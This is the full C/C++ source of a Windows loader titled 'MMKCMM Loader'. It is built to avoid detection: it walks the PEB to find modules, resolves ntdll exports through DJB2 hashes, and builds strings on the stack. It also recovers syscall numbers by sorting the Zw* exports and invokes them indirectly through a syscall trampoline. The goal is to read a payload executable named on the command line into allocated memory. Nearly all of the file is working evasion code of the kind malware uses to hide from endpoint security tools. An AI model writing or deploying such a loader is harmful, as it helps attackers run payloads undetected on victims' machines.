MMKCMM Loader
#include <Windows.h>
#define InitializeObjectAttributes(p, n, a, r, s) \
{ \
(p)->Length = sizeof(OBJECT_ATTRIBUTES); \
(p)->RootDirectory = r; \
(p)->Attributes = a; \
(p)->ObjectName = n; \
(p)->SecurityDescriptor = s; \
(p)->SecurityQualityOfService = NULL; \
}
#define EMBEDDED_BINARY_CORRUPT 0
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L) // ntsubauth
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
#define OBJ_INHERIT 0x00000002
#define OBJ_PERMANENT 0x00000010
#define OBJ_EXCLUSIVE 0x00000020
#define OBJ_CASE_INSENSITIVE 0x00000040
#define OBJ_OPENIF 0x00000080
#define OBJ_OPENLINK 0x00000100
#define OBJ_KERNEL_HANDLE 0x00000200
#define OBJ_FORCE_ACCESS_CHECK 0x00000400
#define OBJ_VALID_ATTRIBUTES 0x000007f2
#define FILE_SUPERSEDE 0x00000000
#define FILE_OPEN 0x00000001
#define FILE_CREATE 0x00000002
#define FILE_OPEN_IF 0x00000003
#define FILE_OVERWRITE 0x00000004
#define FILE_OVERWRITE_IF 0x00000005
#define FILE_MAXIMUM_DISPOSITION 0x00000005
#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020
#define FILE_NON_DIRECTORY_FILE 0x00000040
#define DEFRTLALLOCATEHEAP 0xc0b381da
#define DEFRTLFREEHEAP 0x70ba71d7
#define DELDRGETPROCEDUREADDRESS 0x2e5a99f6
#define DELDRLOADDLL 0x0307db23
#define DELDRUNLOADDLL 0x7afa7706
typedef enum _FILE_INFORMATION_CLASS {
FileDirectoryInformation = 1,
FileFullDirectoryInformation = 2,
FileBothDirectoryInformation = 3,
FileBasicInformation = 4,
FileStandardInformation = 5,
FileInternalInformation = 6,
FileEaInformation = 7,
FileAccessInformation = 8,
FileNameInformation = 9,
FileRenameInformation = 10,
FileLinkInformation = 11,
FileNamesInformation = 12,
FileDispositionInformation = 13,
FilePositionInformation = 14,
FileFullEaInformation = 15,
FileModeInformation = 16,
FileAlignmentInformation = 17,
FileAllInformation = 18,
FileAllocationInformation = 19,
FileEndOfFileInformation = 20,
FileAlternateNameInformation = 21,
FileStreamInformation = 22,
FilePipeInformation = 23,
FilePipeLocalInformation = 24,
FilePipeRemoteInformation = 25,
FileMailslotQueryInformation = 26,
FileMailslotSetInformation = 27,
FileCompressionInformation = 28,
FileObjectIdInformation = 29,
FileCompletionInformation = 30,
FileMoveClusterInformation = 31,
FileQuotaInformation = 32,
FileReparsePointInformation = 33,
FileNetworkOpenInformation = 34,
FileAttributeTagInformation = 35,
FileTrackingInformation = 36,
FileIdBothDirectoryInformation = 37,
FileIdFullDirectoryInformation = 38,
FileValidDataLengthInformation = 39,
FileShortNameInformation = 40,
FileIoCompletionNotificationInformation = 41,
FileIoStatusBlockRangeInformation = 42,
FileIoPriorityHintInformation = 43,
FileSfioReserveInformation = 44,
FileSfioVolumeInformation = 45,
FileHardLinkInformation = 46,
FileProcessIdsUsingFileInformation = 47,
FileNormalizedNameInformation = 48,
FileNetworkPhysicalNameInformation = 49,
FileIdGlobalTxDirectoryInformation = 50,
FileIsRemoteDeviceInformation = 51,
FileUnusedInformation = 52,
FileNumaNodeInformation = 53,
FileStandardLinkInformation = 54,
FileRemoteProtocolInformation = 55,
FileRenameInformationBypassAccessCheck = 56,
FileLinkInformationBypassAccessCheck = 57,
FileVolumeNameInformation = 58,
FileIdInformation = 59,
FileIdExtdDirectoryInformation = 60,
FileReplaceCompletionInformation = 61,
FileHardLinkFullIdInformation = 62,
FileIdExtdBothDirectoryInformation = 63,
FileDispositionInformationEx = 64,
FileRenameInformationEx = 65,
FileRenameInformationExBypassAccessCheck = 66,
FileDesiredStorageClassInformation = 67,
FileStatInformation = 68,
FileMemoryPartitionInformation = 69,
FileStatLxInformation = 70,
FileCaseSensitiveInformation = 71,
FileLinkInformationEx = 72,
FileLinkInformationExBypassAccessCheck = 73,
FileStorageReserveIdInformation = 74,
FileCaseSensitiveInformationForceAccessCheck = 75,
FileKnownFolderInformation = 76,
FileStatBasicInformation = 77,
FileId64ExtdDirectoryInformation = 78,
FileId64ExtdBothDirectoryInformation = 79,
FileIdAllExtdDirectoryInformation = 80,
FileIdAllExtdBothDirectoryInformation = 81,
FileStreamReservationInformation,
FileMupProviderInfo,
FileMaximumInformation
} FILE_INFORMATION_CLASS, * PFILE_INFORMATION_CLASS;
typedef struct _FILE_STANDARD_INFORMATION {
LARGE_INTEGER AllocationSize;
LARGE_INTEGER EndOfFile;
ULONG NumberOfLinks;
BOOLEAN DeletePending;
BOOLEAN Directory;
} FILE_STANDARD_INFORMATION, * PFILE_STANDARD_INFORMATION;
typedef struct _IO_STATUS_BLOCK {
union {
NTSTATUS Status;
PVOID Pointer;
};
ULONG_PTR Information;
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
typedef struct _LSA_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING;
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;
typedef struct _LDR_MODULE {
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;
} LDR_MODULE, * PLDR_MODULE;
typedef struct _PEB_LDR_DATA {
ULONG Length;
ULONG Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} PEB_LDR_DATA, * PPEB_LDR_DATA;
typedef struct _CURDIR {
UNICODE_STRING DosPath;
PVOID Handle;
}CURDIR, * PCURDIR;
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
PCHAR Buffer;
} ANSI_STRING, * PANSI_STRING;
typedef struct _RTL_DRIVE_LETTER_CURDIR {
WORD Flags;
WORD Length;
ULONG TimeStamp;
ANSI_STRING DosPath;
} RTL_DRIVE_LETTER_CURDIR, * PRTL_DRIVE_LETTER_CURDIR;
typedef struct _RTL_USER_PROCESS_PARAMETERS {
ULONG MaximumLength;
ULONG Length;
ULONG Flags;
ULONG DebugFlags;
PVOID ConsoleHandle;
ULONG ConsoleFlags;
PVOID StandardInput;
PVOID StandardOutput;
PVOID StandardError;
CURDIR CurrentDirectory;
UNICODE_STRING DllPath;
UNICODE_STRING ImagePathName;
UNICODE_STRING CommandLine;
PVOID Environment;
ULONG StartingX;
ULONG StartingY;
ULONG CountX;
ULONG CountY;
ULONG CountCharsX;
ULONG CountCharsY;
ULONG FillAttribute;
ULONG WindowFlags;
ULONG ShowWindowFlags;
UNICODE_STRING WindowTitle;
UNICODE_STRING DesktopInfo;
UNICODE_STRING ShellInfo;
UNICODE_STRING RuntimeData;
RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32];
ULONG EnvironmentSize;
}RTL_USER_PROCESS_PARAMETERS, * PRTL_USER_PROCESS_PARAMETERS;
typedef struct _PEB {
BOOLEAN InheritedAddressSpace;
BOOLEAN ReadImageFileExecOptions;
BOOLEAN BeingDebugged;
BOOLEAN Spare;
HANDLE Mutant;
PVOID ImageBase;
PPEB_LDR_DATA LoaderData;
PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
PVOID SubSystemData;
PVOID ProcessHeap;
PVOID FastPebLock;
PVOID FastPebLockRoutine;
PVOID FastPebUnlockRoutine;
ULONG EnvironmentUpdateCount;
PVOID* KernelCallbackTable;
PVOID EventLogSection;
PVOID EventLog;
PVOID FreeList;
ULONG TlsExpansionCounter;
PVOID TlsBitmap;
ULONG TlsBitmapBits[0x2];
PVOID ReadOnlySharedMemoryBase;
PVOID ReadOnlySharedMemoryHeap;
PVOID* ReadOnlyStaticServerData;
PVOID AnsiCodePageData;
PVOID OemCodePageData;
PVOID UnicodeCaseTableData;
ULONG NumberOfProcessors;
ULONG NtGlobalFlag;
BYTE Spare2[0x4];
LARGE_INTEGER CriticalSectionTimeout;
ULONG HeapSegmentReserve;
ULONG HeapSegmentCommit;
ULONG HeapDeCommitTotalFreeThreshold;
ULONG HeapDeCommitFreeBlockThreshold;
ULONG NumberOfHeaps;
ULONG MaximumNumberOfHeaps;
PVOID** ProcessHeaps;
PVOID GdiSharedHandleTable;
PVOID ProcessStarterHelper;
PVOID GdiDCAttributeList;
PVOID LoaderLock;
ULONG OSMajorVersion;
ULONG OSMinorVersion;
ULONG OSBuildNumber;
ULONG OSPlatformId;
ULONG ImageSubSystem;
ULONG ImageSubSystemMajorVersion;
ULONG ImageSubSystemMinorVersion;
ULONG GdiHandleBuffer[0x22];
ULONG PostProcessInitRoutine;
ULONG TlsExpansionBitmap;
BYTE TlsExpansionBitmapBits[0x80];
ULONG SessionId;
} PEB, * PPEB;
PPEB GetPeb(VOID)
{
#if defined(_WIN64)
return (PPEB)__readgsqword(0x60);
#elif define(_WIN32)
return (PPEB)__readfsdword(0x30);
#endif
}
typedef struct _SYSCALL_ENTRY
{
PVOID SyscallGadget;
UINT nArgs;
WORD Number;
} SYSCALL_ENTRY, * PSYSCALL_ENTRY;
typedef PVOID(NTAPI* RTLALLOCATEHEAP)(PVOID, ULONG, SIZE_T);
RTLALLOCATEHEAP RtlAllocateHeap = NULL;
typedef BOOL(NTAPI* RTLFREEHEAP)(PVOID, ULONG, PVOID);
RTLFREEHEAP RtlFreeHeap = NULL;
typedef NTSTATUS(NTAPI* LDRGETPROCEDUREADDRESS)(HMODULE, PANSI_STRING, WORD, PVOID);
LDRGETPROCEDUREADDRESS LdrGetProcedureAddress = NULL;
typedef NTSTATUS(NTAPI* LDRLOADDLL)(PWSTR, PULONG, PUNICODE_STRING, PVOID*);
LDRLOADDLL LdrLoadDll = NULL;
typedef NTSTATUS(NTAPI* LDRUNLOADDLL)(PVOID);
LDRUNLOADDLL LdrUnloadDll = NULL;
typedef struct _SYSCALL_STUBS
{
SYSCALL_ENTRY ZwClose;
SYSCALL_ENTRY ZwCreateFile;
SYSCALL_ENTRY ZwQueryInformationFile;
SYSCALL_ENTRY ZwReadFile;
SYSCALL_ENTRY ZwAllocateVirtualMemory;
} SYSCALL_STUBS, * PSYSCALL_STUBS;
SYSCALL_STUBS GlobalSyscallStub;
typedef struct __SORTED_SYSCALL_MAPPING {
PVOID Address;
LPCSTR Name;
WORD Number;
}SORTED_SYSCALL_MAPPING, * PSORTED_SYSCALL_MAPPING;
extern "C" NTSTATUS SyscallTrampoline(...);
typedef struct __LL_IMAGE_FILE_BLOCK {
HANDLE Handle;
UNICODE_STRING FilePath;
PBYTE RawData;
LONGLONG FileSize;
BOOL bIsInitialized;
}IMAGE_FILE_BLOCKEX, * PIMAGE_FILE_BLOCKEX;
#define ZWCLOSE 0x2e48662c
#define ZWCREATEFILE 0xf1246d2a
#define ZWQUERYINFORMATIONFILE 0x9a606772
#define ZWREADFILE 0xbc8bbb72
#define ZWALLOCATEVIRTUALMEMORY 0x221c143b
NTSTATUS ImplZwClose(HANDLE Handle)
{
return (NTSTATUS)SyscallTrampoline(&GlobalSyscallStub.ZwClose, Handle);
}
NTSTATUS ImplZwCreateFile(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength)
{
return (NTSTATUS)SyscallTrampoline(&GlobalSyscallStub.ZwCreateFile, FileHandle, DesiredAccess, ObjectAttributes, IoStatusBlock, AllocationSize, FileAttributes, ShareAccess, CreateDisposition, CreateOptions, EaBuffer, EaLength);
}
NTSTATUS ImplZwQueryInformationFile(HANDLE FileHandle, PIO_STATUS_BLOCK IoStatusBlock, PVOID FileInformation, ULONG Length, FILE_INFORMATION_CLASS FileInformationClass)
{
return (NTSTATUS)SyscallTrampoline(&GlobalSyscallStub.ZwQueryInformationFile, FileHandle, IoStatusBlock, FileInformation, Length, FileInformationClass);
}
NTSTATUS ImplZwReadFile(HANDLE FileHandle, HANDLE Event, PVOID ApcRoutine, PVOID ApcContext, PIO_STATUS_BLOCK IoStatusBlock, PVOID Buffer, ULONG Length, PLARGE_INTEGER ByteOffset, PULONG Key)
{
return (NTSTATUS)SyscallTrampoline(&GlobalSyscallStub.ZwReadFile, FileHandle, Event, ApcRoutine, ApcContext, IoStatusBlock, Buffer, Length, ByteOffset, Key);
}
NTSTATUS ImplZwAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
return (NTSTATUS)SyscallTrampoline(&GlobalSyscallStub.ZwAllocateVirtualMemory, ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
SIZE_T StringLengthW(_In_ LPCWSTR String)
{
LPCWSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
SIZE_T StringLengthA(_In_ LPCSTR String)
{
LPCSTR String2;
for (String2 = String; *String2; ++String2);
return (String2 - String);
}
VOID RtlInitUnicodeString(_Inout_ PUNICODE_STRING DestinationString, _In_ PCWSTR SourceString)
{
SIZE_T DestSize;
if (SourceString)
{
DestSize = StringLengthW(SourceString) * sizeof(WCHAR);
DestinationString->Length = (USHORT)DestSize;
DestinationString->MaximumLength = (USHORT)DestSize + sizeof(WCHAR);
}
else
{
DestinationString->Length = 0;
DestinationString->MaximumLength = 0;
}
DestinationString->Buffer = (PWCHAR)SourceString;
}
PWCHAR StringCopyW(_Inout_ PWCHAR String1, _In_ LPCWSTR String2)
{
PWCHAR p = String1;
while ((*p++ = *String2++) != 0);
return String1;
}
PWCHAR StringConcatW(_Inout_ PWCHAR String, _In_ LPCWSTR String2)
{
StringCopyW(&String[StringLengthW(String)], String2);
return String;
}
PVOID CopyMemoryEx(_Inout_ PVOID Destination, _In_ CONST PVOID Source, _In_ SIZE_T Length)
{
PBYTE D = (PBYTE)Destination;
PBYTE S = (PBYTE)Source;
while (Length--)
*D++ = *S++;
return Destination;
}
VOID ZeroMemoryNoOptimize(_Inout_ PVOID Destination, _In_ SIZE_T Size)
{
PCHAR Pointer = (PCHAR)Destination;
PCHAR End = Pointer + Size;
for (;;)
{
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
if (Pointer >= End) break; *Pointer++ = 0;
}
}
INT StringCompareWithLenghtW(PWCHAR String1, PWCHAR String2, SIZE_T Length)
{
do
{
if (*String1 != *String2++)
return (*(PUCHAR)String1 - *(PUCHAR)--String2);
if (*String1++ == 0)
break;
} while (--Length != 0);
return 0;
}
INT StringCompareWithLenghtA(PCHAR String1, PCHAR String2, SIZE_T Length)
{
do
{
if (*String1 != *String2++)
return (*(PUCHAR)String1 - *(PUCHAR)--String2);
if (*String1++ == 0)
break;
} while (--Length != 0);
return 0;
}
INT StringCompareW(_In_ LPCWSTR String1, _In_ LPCWSTR String2)
{
for (; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
return 0;
}
return ((*(LPCWSTR)String1 < *(LPCWSTR)String2) ? -1 : +1);
}
INT StringCompareA(_In_ LPCSTR String1, _In_ LPCSTR String2)
{
for (; *String1 == *String2; String1++, String2++)
{
if (*String1 == '\0')
return 0;
}
return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1);
}
PWCHAR CaplockStringW(_In_ PWCHAR Ptr)
{
PWCHAR sv = Ptr;
while (*sv != '\0')
{
if (*sv >= 'a' && *sv <= 'z')
*sv = *sv - ('a' - 'A');
sv++;
}
return Ptr;
}
SIZE_T CharStringToWCharString(_Inout_ PWCHAR Destination, _In_ PCHAR Source, SIZE_T _In_ MaximumAllowed)
{
INT Length = (INT)MaximumAllowed;
while (--Length >= 0)
{
if (!(*Destination++ = *Source++))
return MaximumAllowed - Length - 1;
}
return MaximumAllowed - Length;
}
DWORD HashStringDjb2A(_In_ LPCSTR String)
{
ULONG Hash = 5381;
INT c = 0;
while (c = *String++)
Hash = ((Hash << 5) + Hash) + c;
return Hash;
}
HMODULE ImplGetModuleHandleW(_In_ LPCWSTR lpModuleName)
{
PPEB Peb = GetPeb();
PLDR_MODULE Module = NULL;
PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList;
PLIST_ENTRY Next = Head->Flink;
Module = (PLDR_MODULE)((PBYTE)Next - 16);
while (Next != Head)
{
Module = (PLDR_MODULE)((PBYTE)Next - 16);
if (Module->BaseDllName.Buffer != NULL)
{
WCHAR InitialModuleName[256];
WCHAR IdentifiedModuleName[256];
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&InitialModuleName, sizeof(InitialModuleName));
ZeroMemoryNoOptimize(&IdentifiedModuleName, sizeof(IdentifiedModuleName));
#pragma warning( pop )
if (StringCopyW(InitialModuleName, (PWCHAR)lpModuleName) == NULL)
return NULL;
if (StringCopyW(IdentifiedModuleName, Module->BaseDllName.Buffer) == NULL)
return NULL;
PWCHAR ComparisonObject1 = CaplockStringW(InitialModuleName);
PWCHAR ComparisonObject2 = CaplockStringW(IdentifiedModuleName);
if (StringCompareW(ComparisonObject1, ComparisonObject2) == 0)
return (HMODULE)Module->BaseAddress;
}
Next = Next->Flink;
}
return NULL;
}
BOOL RtlLoadPeHeaders(_Inout_ PIMAGE_DOS_HEADER* Dos, _Inout_ PIMAGE_NT_HEADERS* Nt, _Inout_ PIMAGE_FILE_HEADER* File, _Inout_ PIMAGE_OPTIONAL_HEADER* Optional, _Inout_ PBYTE* ImageBase)
{
*Dos = (PIMAGE_DOS_HEADER)*ImageBase;
if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE)
return FALSE;
*Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew);
if ((*Nt)->Signature != IMAGE_NT_SIGNATURE)
return FALSE;
*File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD));
*Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER));
return TRUE;
}
PWCHAR GetPassedImagePayloadFromCommandlineW(PWCHAR PassedParameter)
{
for (PWCHAR Position = PassedParameter; *Position != '\0'; Position++)
{
if (*Position == '.' && StringCompareWithLenghtW(Position, (PWCHAR)L".exe", 4) == ERROR_SUCCESS)
{
Position += 6;
return Position;
}
}
return NULL;
}
BOOL InitializeFileBlock(PIMAGE_FILE_BLOCKEX File, PWCHAR FilePath)
{
NTSTATUS Status = STATUS_SUCCESS;
IO_STATUS_BLOCK Io;
WCHAR NewTechnologySanitizedPath[MAX_PATH * sizeof(WCHAR)];
OBJECT_ATTRIBUTES Attributes;
FILE_STANDARD_INFORMATION FileInformation;
DWORD BytesRead = 0;
DWORD StackBuilderOrdinal = 0;
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&Io, sizeof(IO_STATUS_BLOCK));
ZeroMemoryNoOptimize(&NewTechnologySanitizedPath, MAX_PATH * sizeof(WCHAR));
ZeroMemoryNoOptimize(&Attributes, sizeof(OBJECT_ATTRIBUTES));
ZeroMemoryNoOptimize(&FileInformation, sizeof(FILE_STANDARD_INFORMATION));
#pragma warning( pop )
NewTechnologySanitizedPath[StackBuilderOrdinal++] = '\\';
NewTechnologySanitizedPath[StackBuilderOrdinal++] = '?';
NewTechnologySanitizedPath[StackBuilderOrdinal++] = '?';
NewTechnologySanitizedPath[StackBuilderOrdinal++] = '\\';
StackBuilderOrdinal = ERROR_SUCCESS;
if (StringConcatW(NewTechnologySanitizedPath, FilePath) == NULL)
return FALSE;
RtlInitUnicodeString(&File->FilePath, NewTechnologySanitizedPath);
InitializeObjectAttributes(&Attributes, &File->FilePath, OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = ImplZwCreateFile(&File->Handle, FILE_GENERIC_WRITE | FILE_GENERIC_READ, &Attributes, &Io, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, 0, 0);
if (!NT_SUCCESS(Status))
return FALSE;
else
File->bIsInitialized = TRUE;
ZeroMemoryNoOptimize(&Io, sizeof(IO_STATUS_BLOCK));
Status = ImplZwQueryInformationFile(File->Handle, &Io, &FileInformation, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
if (!NT_SUCCESS(Status))
return FALSE;
File->FileSize = FileInformation.EndOfFile.QuadPart;
File->RawData = (PBYTE)RtlAllocateHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, File->FileSize);
if (File->RawData == NULL)
return FALSE;
ZeroMemoryNoOptimize(&Io, sizeof(IO_STATUS_BLOCK));
Status = ImplZwReadFile(File->Handle, NULL, NULL, NULL, &Io, File->RawData, (ULONG)File->FileSize, NULL, NULL);
if (!NT_SUCCESS(Status))
return FALSE;
return TRUE;
}
VOID FreeFileBlock(PIMAGE_FILE_BLOCKEX File)
{
if (File->Handle)
ImplZwClose(File->Handle);
if (File->RawData)
RtlFreeHeap(GetPeb()->ProcessHeap, HEAP_ZERO_MEMORY, File->RawData);
}
BOOL CompareSyscallMappings(const SORTED_SYSCALL_MAPPING& a, const SORTED_SYSCALL_MAPPING& b)
{
return (ULONGLONG)a.Address < (ULONGLONG)b.Address;
}
PVOID GetSyscallGadget64(PVOID Function)
{
for (DWORD i = 0; i <= 20; ++i)
{
if (*(PWORD)((PBYTE)Function + i) == 0x050F && *((PBYTE)Function + i + 2) == 0xC3)
return (PVOID)((PBYTE)Function + i);
}
return NULL;
}
VOID BubbleSortSyscallMappings(SORTED_SYSCALL_MAPPING* MappingObject, DWORD ArraySize)
{
for (DWORD i = 0; i < ArraySize - 1; ++i)
{
for (DWORD j = 0; j < ArraySize - i - 1; ++j)
{
SORTED_SYSCALL_MAPPING* a = MappingObject + j;
SORTED_SYSCALL_MAPPING* b = MappingObject + j + 1;
if (!CompareSyscallMappings(*a, *b))
{
SORTED_SYSCALL_MAPPING DisposableObject = *a;
*a = *b;
*b = DisposableObject;
}
}
}
}
BOOL InitializeSyscalls(VOID)
{
DWORD64 ModuleBase = 0;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
SORTED_SYSCALL_MAPPING SortedSyscalls[512];
DWORD ArrayObjectIndex = 0;
WCHAR InMemoryModuleString[MAX_PATH * sizeof(WCHAR)];
DWORD StackBuilderOrdinal = 0;
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&SortedSyscalls, sizeof(SortedSyscalls));
ZeroMemoryNoOptimize(&InMemoryModuleString, MAX_PATH * sizeof(WCHAR));
#pragma warning( pop )
InMemoryModuleString[StackBuilderOrdinal++] = 'n';
InMemoryModuleString[StackBuilderOrdinal++] = 't';
InMemoryModuleString[StackBuilderOrdinal++] = 'd';
InMemoryModuleString[StackBuilderOrdinal++] = 'l';
InMemoryModuleString[StackBuilderOrdinal++] = 'l';
InMemoryModuleString[StackBuilderOrdinal++] = '.';
InMemoryModuleString[StackBuilderOrdinal++] = 'd';
InMemoryModuleString[StackBuilderOrdinal++] = 'l';
InMemoryModuleString[StackBuilderOrdinal++] = 'l';
StackBuilderOrdinal = ERROR_SUCCESS;
ModuleBase = (DWORD64)ImplGetModuleHandleW(InMemoryModuleString);
if (ModuleBase == 0)
return FALSE;
RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);
IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);
PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);
for (DWORD i = 0; i < ExportTable->NumberOfNames; i++)
{
LPCSTR FunctionName = (LPCSTR)(FunctionNameAddressArray[i] + (PBYTE)ModuleBase);
PVOID FunctionAddress = (PVOID)(ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[i]]);
if (StringCompareWithLenghtA((PCHAR)FunctionName, (PCHAR)"Zw", 2) == 0)
{
SortedSyscalls[ArrayObjectIndex].Address = FunctionAddress;
SortedSyscalls[ArrayObjectIndex].Number = 0;
SortedSyscalls[ArrayObjectIndex].Name = FunctionName;
ArrayObjectIndex++;
}
else
{
switch (HashStringDjb2A((PCHAR)FunctionName))
{
case DEFRTLALLOCATEHEAP:
{
RtlAllocateHeap = (RTLALLOCATEHEAP)FunctionAddress;
break;
}
case DEFRTLFREEHEAP:
{
RtlFreeHeap = (RTLFREEHEAP)FunctionAddress;
break;
}
case DELDRGETPROCEDUREADDRESS:
{
LdrGetProcedureAddress = (LDRGETPROCEDUREADDRESS)FunctionAddress;
break;
}
case DELDRLOADDLL:
{
LdrLoadDll = (LDRLOADDLL)FunctionAddress;
break;
}
case DELDRUNLOADDLL:
{
LdrUnloadDll = (LDRUNLOADDLL)FunctionAddress;
break;
}
default:
break;
}
}
}
BubbleSortSyscallMappings(SortedSyscalls, ArrayObjectIndex);
for (WORD i = 0; i < ArrayObjectIndex; ++i)
{
PCHAR Name = (PCHAR)SortedSyscalls[i].Name;
PVOID Gadget = NULL;
Gadget = GetSyscallGadget64(SortedSyscalls[i].Address);
if (Gadget == NULL)
continue;
switch (HashStringDjb2A(SortedSyscalls[i].Name))
{
case ZWCREATEFILE:
{
GlobalSyscallStub.ZwCreateFile.SyscallGadget = Gadget;
GlobalSyscallStub.ZwCreateFile.Number = i;
GlobalSyscallStub.ZwCreateFile.nArgs = 11;
break;
}
case ZWCLOSE:
{
GlobalSyscallStub.ZwClose.SyscallGadget = Gadget;
GlobalSyscallStub.ZwClose.Number = i;
GlobalSyscallStub.ZwClose.nArgs = 1;
break;
}
case ZWQUERYINFORMATIONFILE:
{
GlobalSyscallStub.ZwQueryInformationFile.SyscallGadget = Gadget;
GlobalSyscallStub.ZwQueryInformationFile.Number = i;
GlobalSyscallStub.ZwQueryInformationFile.nArgs = 5;
break;
}
case ZWREADFILE:
{
GlobalSyscallStub.ZwReadFile.SyscallGadget = Gadget;
GlobalSyscallStub.ZwReadFile.Number = i;
GlobalSyscallStub.ZwReadFile.nArgs = 9;
break;
}
case ZWALLOCATEVIRTUALMEMORY:
{
GlobalSyscallStub.ZwAllocateVirtualMemory.SyscallGadget = Gadget;
GlobalSyscallStub.ZwAllocateVirtualMemory.Number = i;
GlobalSyscallStub.ZwAllocateVirtualMemory.nArgs = 6;
break;
}
default:
break;
}
}
return TRUE;
}
DWORD64 __stdcall GetProcAddressSafeA(_In_ DWORD64 ModuleBase, _In_ LPCSTR lpProcName)
{
PBYTE pFunctionName = NULL;
PIMAGE_DOS_HEADER Dos = NULL;
PIMAGE_NT_HEADERS Nt = NULL;
PIMAGE_FILE_HEADER File = NULL;
PIMAGE_OPTIONAL_HEADER Optional = NULL;
DWORD64 FunctionAddress = ERROR_SUCCESS;
ANSI_STRING ForwardFunctionString;
#pragma warning( push )
#pragma warning( disable : 6001)
ZeroMemoryNoOptimize(&ForwardFunctionString, sizeof(ANSI_STRING));
#pragma warning( pop )
RtlLoadPeHeaders(&Dos, &Nt, &File, &Optional, (PBYTE*)&ModuleBase);
IMAGE_EXPORT_DIRECTORY* ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress);
PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions);
PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals);
for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++)
{
pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase;
if (StringCompareA((PCHAR)pFunctionName, lpProcName) == 0)
{
FunctionAddress = (DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]];
if (FunctionAddress >= (ModuleBase + Optional->DataDirectory[0].VirtualAddress) &&
FunctionAddress < (ModuleBase + Optional->DataDirectory[0].VirtualAddress) + (ModuleBase + Optional->DataDirectory[0].Size))
{
ForwardFunctionString.Buffer = (PCHAR)pFunctionName;
ForwardFunctionString.Length = (USHORT)StringLengthA((PCHAR)pFunctionName);
ForwardFunctionString.MaximumLength = ForwardFunctionString.Length + sizeof(CHAR);
if (LdrGetProcedureAddress((HMODULE)ModuleBase, &ForwardFunctionString, 0, &FunctionAddress) != STATUS_SUCCESS)
return 0;
}
return FunctionAddress;
}
}
return 0;
}
